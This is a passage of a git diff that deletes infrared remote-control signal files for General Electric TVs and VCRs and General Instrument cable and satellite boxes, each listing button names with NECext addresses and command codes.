parsed -protocol: NECext -address: 18 00 00 00 -command: 08 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 09 00 00 00 -# -name: J -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0A 00 00 00 -# -name: K -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0B 00 00 00 -# -name: L -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0C 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0D 00 00 00 -# -name: N -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0E 00 00 00 -# -name: O -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 0F 00 00 00 -# -name: P -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 10 00 00 00 -# -name: Q -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 11 00 00 00 -# -name: R -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 12 00 00 00 -# -name: S -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 13 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 14 00 00 00 -# -name: U -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 19 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1A 00 00 00 -# -name: W -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1B 00 00 00 -# -name: X -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1C 00 00 00 -# -name: Y -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1E 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 1F 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 20 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 20 00 00 00 -# -name: Z -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 21 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 21 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 22 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 23 00 00 00 -# -name: ^_(UP) -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 23 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 24 00 00 00 -# -name: F1 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 25 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 26 00 00 00 -# -name: <_(LEFT) -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 26 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 27 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 28 00 00 00 -# -name: >_(RIGHT) -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 28 00 00 00 -# -name: F2 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 29 00 00 00 -# -name: END -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 29 00 00 00 -# -name: F3 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2B 00 00 00 -# -name: V_(DOWN) -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2B 00 00 00 -# -name: F4 -type: parsed -protocol: NECext -address: 18 00 00 00 -command: 2C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir deleted file mode 100644 index 8bbc87417..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/TV/15,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DONE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 08 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 27 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2A 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CURSOR_V -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2C 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CURSOR_^ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2D 00 00 00 -# -name: CURSOR_- -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2E 00 00 00 -# -name: CURSOR_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 2F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 39 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3A 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3B 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 -# -name: SKIP:30 -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 53 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: A3 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir deleted file mode 100644 index a3c6c9842..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/11,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHANEL_UP -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 10 00 00 00 -# -name: CHANEL_DN -type: parsed -protocol: NECext -address: 0B 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir deleted file mode 100644 index b2dcd08d9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/14,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 06 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 08 00 00 00 -# -name: TRACKING- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0A 00 00 00 -# -name: TRACKING+ -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 0B 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 10 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 17 00 00 00 -# -name: FFW -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 20 00 00 00 -# -name: GO_BACK -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 27 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 2A 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 39 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 3C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 46 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 47 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 0E 00 00 00 -command: 53 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir deleted file mode 100644 index 73c44fac1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Electric/VCR/26,73.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 1A 49 00 00 -command: 1A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir deleted file mode 100644 index 31cd983b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir +++ /dev/null @@ -1,392 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CHANNEL+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: MUSIC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: LAST_CHANNEL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: LOCKOUT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 30 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 33 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 35 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: DAY_> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: DAY< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 39 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3A 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: PAGE_DN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir deleted file mode 100644 index c022259bf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir deleted file mode 100644 index 43332bcaf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir deleted file mode 100644 index 8336643c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 90 00 00 00 -command: 3D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir deleted file mode 100644 index f25518c32..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 0F 00 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir deleted file mode 100644 index b133144a4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir deleted file mode 100644 index 1930263e0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 57 00 00 00 -command: 02 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir deleted file mode 100644 index 1c93e913d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir +++ /dev/null @@ -1,20 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SAT_VOL_^ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: SAT_VOL_V -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: SAT_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir deleted file mode 100644 index f00480632..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instrument/Satellite/130,110.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 01 00 00 00 -# -name: SAT/TV -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 02 00 00 00 -# -name: M -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 03 00 00 00 -# -name: TI -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 04 00 00 00 -# -name: HELP -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 05 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 06 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 07 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 07 00 00 00 -# -name: MESG -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 08 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 09 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 0A 00 00 00 -# -name: SET_UP -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 0C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 0D 00 00 00 -# -name: VIEW -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 0E 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 0F 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 0F 00 00 00 -# -name: 2_(T) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 10 00 00 00 -# -name: 2_T -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 10 00 00 00 -# -name: 1_(G) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 11 00 00 00 -# -name: 1_G -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 11 00 00 00 -# -name: 3_(F) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 12 00 00 00 -# -name: 3_F -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 12 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 13 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 13 00 00 00 -# -name: 5_(W) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 14 00 00 00 -# -name: 5_W -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 14 00 00 00 -# -name: 4_(A) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 15 00 00 00 -# -name: 4_A -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 15 00 00 00 -# -name: 6_(C) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 16 00 00 00 -# -name: 6_C -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 16 00 00 00 -# -name: 8_(R) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 18 00 00 00 -# -name: 8_R -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 18 00 00 00 -# -name: 7_(S) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 19 00 00 00 -# -name: 7_S -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 19 00 00 00 -# -name: 9_(K) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1A 00 00 00 -# -name: 9_K -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1A 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1B 00 00 00 -# -name: 0_(B) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1C 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1C 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1D 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 1E 00 00 00 -# -name: ENTR -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 40 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 40 00 00 00 -# -name: ^_(UP) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 44 00 00 00 -# -name: UP_^ -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 44 00 00 00 -# -name: <_(LEFT) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 48 00 00 00 -# -name: LEFT_< -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 48 00 00 00 -# -name: V_(DOWN) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 4C 00 00 00 -# -name: DOWN_V -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 4C 00 00 00 -# -name: >_(RIGHT) -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 50 00 00 00 -# -name: RIGHT_> -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 50 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 54 00 00 00 -# -name: CNCL -type: parsed -protocol: NECext -address: 82 6E 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir deleted file mode 100644 index 25a6dbff0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tcp -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: a/b -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: last_ch -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: pcontrol_learn -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 